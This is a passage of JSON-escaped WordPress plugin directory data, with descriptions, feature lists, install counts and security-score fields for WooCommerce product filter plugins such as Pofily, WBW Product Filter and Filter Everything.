appearance to match their expectations, with various available customizing options.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>Choose to show product filters in Modal window with Off-canvas style\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Edit icon to show Modal window with Icon position and Modal icon style\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Edit Modal with position to appear, effect, column layout\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Choose a style: Theme style or Custom style\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Design filter area with color of Title, Background and Accent color\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Set default color for Color swatches type (Taxonomy)\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Design label with default, hovered, and active status: font size, border width, border radius, background color, text color\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>► \u003Cstrong>Create filters with Pofily – WooCommerce Product Filters that help customers search for products conveniently.\u003C\u002Fstrong>\u003Cbr \u002F>\nPage builders can create different WooCommerce product filters for different searching purposes, based on customers’ needs. Each product filter has its own design options and can be edited. Users can create several versions with the same filter type.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>Create multiple filter blocks for particular searching purposes with different options: Taxonomy, Price, Review, Name.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Choose Taxonomy to apply the filter: Categories, Product tags, Attribute (Color, Size,…), …\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Show Filter as checkboxes, buttons, color swatches, range slider, search field (with Name)\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Customize terms or values with labels to replace the original name.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Customize terms\u002Fvalues with tooltip when hovering the mouse over the term\u002Fvalue.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Create range slider with Min – Max value and Step Slider..\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Enable, disable to show the number of items.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Enable, disable to allow customers to choose multiple selections.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Enable, disable to show filter as toggle.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Enable, disable to show “view more” button.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Enable, disable to show “clear” button.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Select Order by Name, Slug, or ID and choose Order type between ASC or DESC (for Taxonomy)\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Edit display type – Vertical or Horizontal – for Button type\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>► \u003Cstrong>Customize and arrange the menu display with Pofily – WooCommerce Product Filters on the front end.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>Choose and add blocks you want the menu to display on your website with created blocks\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Drag to change the position of Filter appeared in the menu.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Enable, disable to show “Apply Filter” button\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Enable, disable to show menu in a modal window\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>► \u003Cstrong>Pofily – WooCommerce Product Filters support showing Filter Menu with shortcode\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>We provided a shortcode when you create a Filter Menu. This shortcode helps you to display that Filter Menu in the position you decide to match your needs. Copy the shortcode, and paste it in the ideal place you find.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Important Notice:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>Plugin works based on WooCommerce plugin.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>The plugin is released on WordPress.org and you can use plugin as free to build themes for sale.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>PRO VERSION\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>All features from free version.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Show filters in Modal style or Top product loop style.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Create filters for Metadata and OnSale\u002FInStock products.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Show filters as images, ranges with Display Type option.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Customize range with Min and Max value. Create as many ranges as you want with the Range type.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>With Filter By Metadata, we provide meta keys of Products available in the database. Manage at settings and the\u003Cbr \u002F>\nplugin will display corresponding meta value.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Set rules to display Filter Menu at Display Conditions.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>6 months premium support from VillaTheme\u003C\u002Fstrong>: We will help you if you have any problem with the plugin Free Shipping Bar for WooCommerce.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>MAY BE YOU NEED\u003C\u002Fh3>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Faffi-affiliate-marketing-for-woo\" rel=\"ugc\">AFFI – Affiliate Marketing for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002F9map-map-multi-locations\" rel=\"ugc\">9Map – Map Multi Locations\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Ftmds-dropshipping-for-temu-and-woo\" rel=\"ugc\">TMDS – Dropshipping for TEMU and Woo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fdepart-deposit-and-part-payment-for-woo\" rel=\"ugc\">DEPART – Deposit and Part payment for Woo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Frees-real-estate-for-woo\" rel=\"ugc\">REES – Real Estate for Woo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fhandmade-dropshipping-for-etsy-and-woo\" rel=\"ugc\">HANDMADE – Dropshipping for Etsy and WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fhappy-helpdesk-support-ticket-system\" rel=\"ugc\">HAPPY – Helpdesk Support Ticket System\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fgift4u-gift-cards-all-in-one-for-woo\" rel=\"ugc\">GIFT4U – Gift Cards All in One for Woo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fsubre-product-subscription-for-woo\" rel=\"ugc\">SUBRE – Product Subscription for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fclear-autoptimize-cache-automatically\" rel=\"ugc\">Clear Autoptimize Cache Automatically\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Ffewc-extra-checkout-fields-for-woocommerce\" rel=\"ugc\">FEWC – WooCommerce Extra Checkout Fields\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fepow-custom-product-options-for-woocommerce\" rel=\"ugc\">EPOW – Custom Product Options for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fchinads-dropshipping-taobao-woocommerce\" rel=\"ugc\">ChinaDS – Taobao Dropshipping for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002F9mail-wp-email-templates-designer\" rel=\"ugc\">9MAIL – WordPress Email Templates Designer\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fepoi-wp-points-and-rewards\" rel=\"ugc\">EPOI – WP Points and Rewards\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwebpos-point-of-sale-for-woocommerce\" rel=\"ugc\">WebPOS – Point of Sale for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fjagif-woo-free-gift\" rel=\"ugc\">Jagif – WooCommerce Free Gift\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-coupon-reminder\" rel=\"ugc\">Coreem – Coupon Reminder for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fcompe-woo-compare-products\" rel=\"ugc\">COMPE – WooCommerce Compare Products\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fw2s-migrate-woo-to-shopify\" rel=\"ugc\">W2S – Migrate WooCommerce to Shopify\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fredis-woo-dynamic-pricing-and-discounts\" rel=\"ugc\">REDIS – WooCommerce Dynamic Pricing and Discounts\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fexmage-wp-image-links\" rel=\"ugc\">EXMAGE – WordPress Image Links\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fpofily-woo-product-filters\" rel=\"ugc\">Pofily – WooCommerce Product Filters\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fbopo-woo-product-bundle-builder\" rel=\"ugc\">Bopo – WooCommerce Product Bundle Builder\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwpbulky-wp-bulk-edit-post-types\" rel=\"ugc\">WPBulky – WordPress Bulk Edit Post Types\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fbulky-bulk-edit-products-for-woo\" rel=\"ugc\">Bulky – Bulk Edit Products for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fcatna-woo-name-your-price-and-offers\" rel=\"ugc\">Catna – Woo Name Your Price and Offers\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fproduct-size-chart-for-woo\" rel=\"ugc\">Product Size Chart For WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fproduct-pre-orders-for-woo\" rel=\"ugc\">Product Pre-Orders for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fcheckout-upsell-funnel-for-woo\" rel=\"ugc\">Checkout Upsell Funnel for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-cart-all-in-one\" rel=\"ugc\">Cart All In One For WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Femail-template-customizer-for-woo\" rel=\"ugc\">Email Template Customizer for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-alidropship\" rel=\"ugc\">ALD – Dropshipping and Fulfillment for AliExpress and WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fproduct-variations-swatches-for-woocommerce\" rel=\"ugc\">Product Variations Swatches for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-orders-tracking\" rel=\"ugc\">Orders Tracking for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-abandoned-cart-recovery\" rel=\"ugc\">Abandoned Cart Recovery For WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fimport-shopify-to-woocommerce\" rel=\"ugc\">Import Shopify to WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-customer-coupons\" rel=\"ugc\">Customer Coupons for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-virtual-reviews\" rel=\"ugc\">Virtual Reviews for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-thank-you-page-customizer\" rel=\"ugc\">Thank You Page Customizer for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fsales-countdown-timer\" rel=\"ugc\">Sales Countdown Timer\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-suggestion-engine\" rel=\"ugc\">Suggestion Engine for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Feu-cookies-bar\" rel=\"ugc\">EU Cookies Bar\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-lucky-wheel\" rel=\"ugc\">Lucky Wheel for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-lucky-wheel\" rel=\"ugc\">WordPress Lucky Wheel\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-advanced-product-information\" rel=\"ugc\">Advanced Product Information for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-lookbook\" rel=\"ugc\">LookBook for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-photo-reviews\" rel=\"ugc\">Photo Reviews for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-product-builder\" rel=\"ugc\">Product Builder for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-boost-sales\" rel=\"ugc\">Boost Sales for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-free-shipping-bar\" rel=\"ugc\">Free Shipping Bar for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-notification\" rel=\"ugc\">Notification for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-multi-currency\" rel=\"ugc\">CURCY – Multi Currency for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-coupon-box\" rel=\"ugc\">Coupon Box for WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fvargal-additional-variation-gallery-for-woo\u002F\" rel=\"ugc\">VARGAL – Additional Variation Gallery for Woo\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Documentation\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.villatheme.com\u002F?item=pofily\" rel=\"nofollow ugc\">Getting Started\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Plugin Links\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fvillatheme.com\" rel=\"nofollow ugc\">Project Page\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.villatheme.com\u002F?item=pofily\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fvillatheme.com\u002Fknowledge-base\u002Fsecurity-is-our-priority\u002F\" rel=\"nofollow ugc\">Report Bugs\u002FIssues\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n","Easily add customizable filters to WooCommerce products with Pofily. Tailor filters to customer needs for seamless product searches.",20285,96,8,"2025-11-15T09:38:00.000Z","6.8.5","5.0.0",[131,132,133,134,135],"woocommerce-filter-by-category","woocommerce-filters","woocommerce-price-filter","woocommerce-product-filter-plugin","woocommerce-product-filters","https:\u002F\u002Fvillatheme.com\u002Fextensions\u002Fpofily-woocommerce-product-filters\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpofily-woo-product-filters.zip",{"slug":139,"name":140,"version":141,"author":142,"author_profile":143,"description":144,"short_description":145,"active_installs":146,"downloaded":147,"rating":125,"num_ratings":148,"last_updated":149,"tested_up_to":16,"requires_at_least":150,"requires_php":151,"tags":152,"homepage":154,"download_link":155,"security_score":156,"vuln_count":157,"unpatched_count":29,"last_vuln_date":158,"fetched_at":31},"woo-product-filter","Product Filter for WooCommerce by WBW","3.1.6","WBW Plugins","https:\u002F\u002Fprofiles.wordpress.org\u002Fwoobewoo\u002F","\u003Cp>The \u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fplugins\u002Fwoocommerce-filter\u002F?utm_source=wordpress&utm_medium=description&utm_campaign=filter\" title=\"WooCommerce Product Filter plugin\" rel=\"nofollow ugc\">WooCommerce Product Filter plugin\u003C\u002Fa>  enhances your store by allowing customers to refine their searches by price, categories, tags, taxonomy, attributes and more.\u003C\u002Fp>\n\u003Cp>It’s fully customizable and 100% compatible with Elementor, giving you full control over filtering options.\u003C\u002Fp>\n\u003Ch4>WooCommerce Product Filter Key Features\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Ffilters-by-price-price-range-sort-categories-tags-and-attributes?utm_source=wordpress&utm_medium=criteria&utm_campaign=filter\" title=\"Comprehensive Filtering\" rel=\"nofollow ugc\">Comprehensive Filtering\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\nlet customers filter products by: Price, Price range, Categories, Tags, Author, Featured, On Sale, In Stock, Rating, Search by text**, Attribute filters.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fplugins\u002Fwoocommerce-filter\u002F?utm_source=wordpress&utm_medium=description&utm_campaign=filter\" title=\"Main example\" rel=\"nofollow ugc\">Flexible Display Options\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\npresent the filters in various formats to suit your storefront’s design and user preferences. Options include: radio button list (single select) dropdown (single select), checkbox list (multi-select)** and icons** for attribute filters (colour, size, rating).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fajax-live-search?utm_source=wordpress&utm_medium=ajax&utm_campaign=filter\" title=\"AJAX live search\" rel=\"nofollow ugc\">AJAX live search\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\nEnable instant results without page reloads for a faster shopping  with AJAX live search. AJAX search provides instant filtering results without the need to reload the page. This feature can be configured to activate immediately after a user selects their desired filter options and clicks the filter button, making product searches faster and more intuitive.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fdocumentation\u002Felementor-compatibility\u002F\" title=\"Elementor Compatibility\" rel=\"nofollow ugc\">Elementor Integration\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\nWooCommerce Product Filter compatible with Elementor. Seamlessly create and customize filters using Elementor’s interface.\u003Cbr \u002F>\nAll features of the WooCommerce Product Filter by WBW are accessible within the Elementor tab, providing a streamlined workflow for page building.\u003C\u002Fp>\n\u003Cp>To help you get started, there’s a comprehensive video tutorial available that guides you through the process of setting up the WooCommerce Product Filter by WBW, ensuring you can make the most of its features to improve your online store’s functionality and user experience.\u003Cbr \u002F>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F5uFBMl5OLW0?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>Product filters are the key things that allow your customers to view the products in a particular way and easily find the necessary items.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fdocumentation\u002Fproduct-filter-statistics\u002F\" title=\"Analytics\" rel=\"nofollow ugc\">Statistics\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\nProduct Filter by WBW comes with a detailed filter statistics section to make it easier to collect, analyze data and subsequently support global business growth. Gather information about filtering and searching for products by your buyer and convert them into business solutions.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fdocumentation\u002Fwoocommerce-filter-main-settings\u002F\" title=\"Main Settings\" rel=\"nofollow ugc\">Live preview\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\nWith Live Preview, the results will appear in the panel right at the moment you make changes to settings.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Variety of options for sorting products\u003C\u002Fstrong>\u003Cbr \u002F>\nThe product search plugin for WooCommerce allows sorting your products by popularity, rating, price, newness, alphabetical ascender, or descender.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fcustomize-and-set-up?utm_source=wordpress&utm_medium=easytosetup&utm_campaign=filter\" title=\"Easy to customize and set up\" rel=\"nofollow ugc\">Create new product filters in a few clicks\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\nEasy to customize and set up. Just add a filter to every page using a widget or shortcodes.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fdocumentation\u002Fwoocommerce-filter-main-settings\u002F#a\" title=\"Price filter\" rel=\"nofollow ugc\">Price filter design\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\nVariation of skins: default, flat, big, modern, sharp, round, square. Custom setting for its design: color, symbol position, currency code or symbol, input fields.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Automatic price range settings with fixed step values\u003C\u002Fstrong>\u003Cbr \u002F>\nAdjust them manually and specify the exact value of every step as well.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fdocumentation\u002Fshow-count-option\u002F\" title=\"Show Count\" rel=\"nofollow ugc\">Show Count\u003C\u002Fa> and Recount products by selected filter\u003C\u002Fstrong>\u003Cbr \u002F>\nRecount the products by selected filters and display the exact number of products matching the filter results.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Flooks-and-works-great-on-all-devices?utm_source=wordpress&utm_medium=responsive&utm_campaign=filter\" title=\"Looks and works great on all devices\" rel=\"nofollow ugc\">Fully responsive\u003C\u002Fa>\u003C\u002Fstrong>\u003Cbr \u002F>\nThe filter looks and works properly on different devices particularly mobile phones and tablets as well as desktops and laptops.\u003C\u002Fp>\n\u003Ch4>Support and suggestions for WooCommerce Product Filter Plugin\u003C\u002Fh4>\n\u003Cp>Ask your questions in the \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fwoo-product-filter\u002F\" rel=\"ugc\">support forum\u003C\u002Fa>, or \u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fcontact-us\u002F\" rel=\"nofollow ugc\">contact us directly\u003C\u002Fa>\u003C\u002Fp>\n","Filter products by categories, attributes, prices, and more. Elementor Compatibility. Shoppers easily find products with WooCommerce Product Filter",60000,2742726,322,"2026-04-09T20:15:00.000Z","3.4.0","",[153,22,92,23,24],"e-commerce-filter","https:\u002F\u002Fwoobewoo.com\u002Fproduct\u002Fwoocommerce-filter\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoo-product-filter.3.1.6.zip",88,9,"2026-04-13 00:00:00",{"slug":160,"name":161,"version":162,"author":163,"author_profile":164,"description":165,"short_description":166,"active_installs":167,"downloaded":168,"rating":72,"num_ratings":169,"last_updated":170,"tested_up_to":16,"requires_at_least":171,"requires_php":172,"tags":173,"homepage":176,"download_link":177,"security_score":106,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"filter-everything","Filter Everything&nbsp;— WordPress & WooCommerce Filters","1.9.2","stepasyuk","https:\u002F\u002Fprofiles.wordpress.org\u002Fstepasyuk\u002F","\u003Cp>\u003Cem>— Help visitors quickly find the content they need on your WordPress\u002FWooCommerce site.\u003C\u002Fem>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Filter Everything\u003C\u002Fstrong> is a WordPress filtering plugin that \u003Cstrong>\u003Cem>provides everything needed for filtering.\u003C\u002Fem>\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>It filters any content by virtually any criteria and includes all the options and features needed to build a filtering system.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002Fg1_qlJvNdsg?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Ch4>Complete filtering solution\u003C\u002Fh4>\n\u003Cp>The plugin includes \u003Cem>highly configurable filters\u003C\u002Fem> and also supports: sorting, keyword search, mobile-friendly filters, multiple filter layouts, different submission modes, widgets, AJAX, shortcodes, color swatches and more.\u003Cbr \u002F>\n\u003Cem>— Everything you need to build a complete filtering system.\u003C\u002Fem>\u003C\u002Fp>\n\u003Ch4>Filters everything by 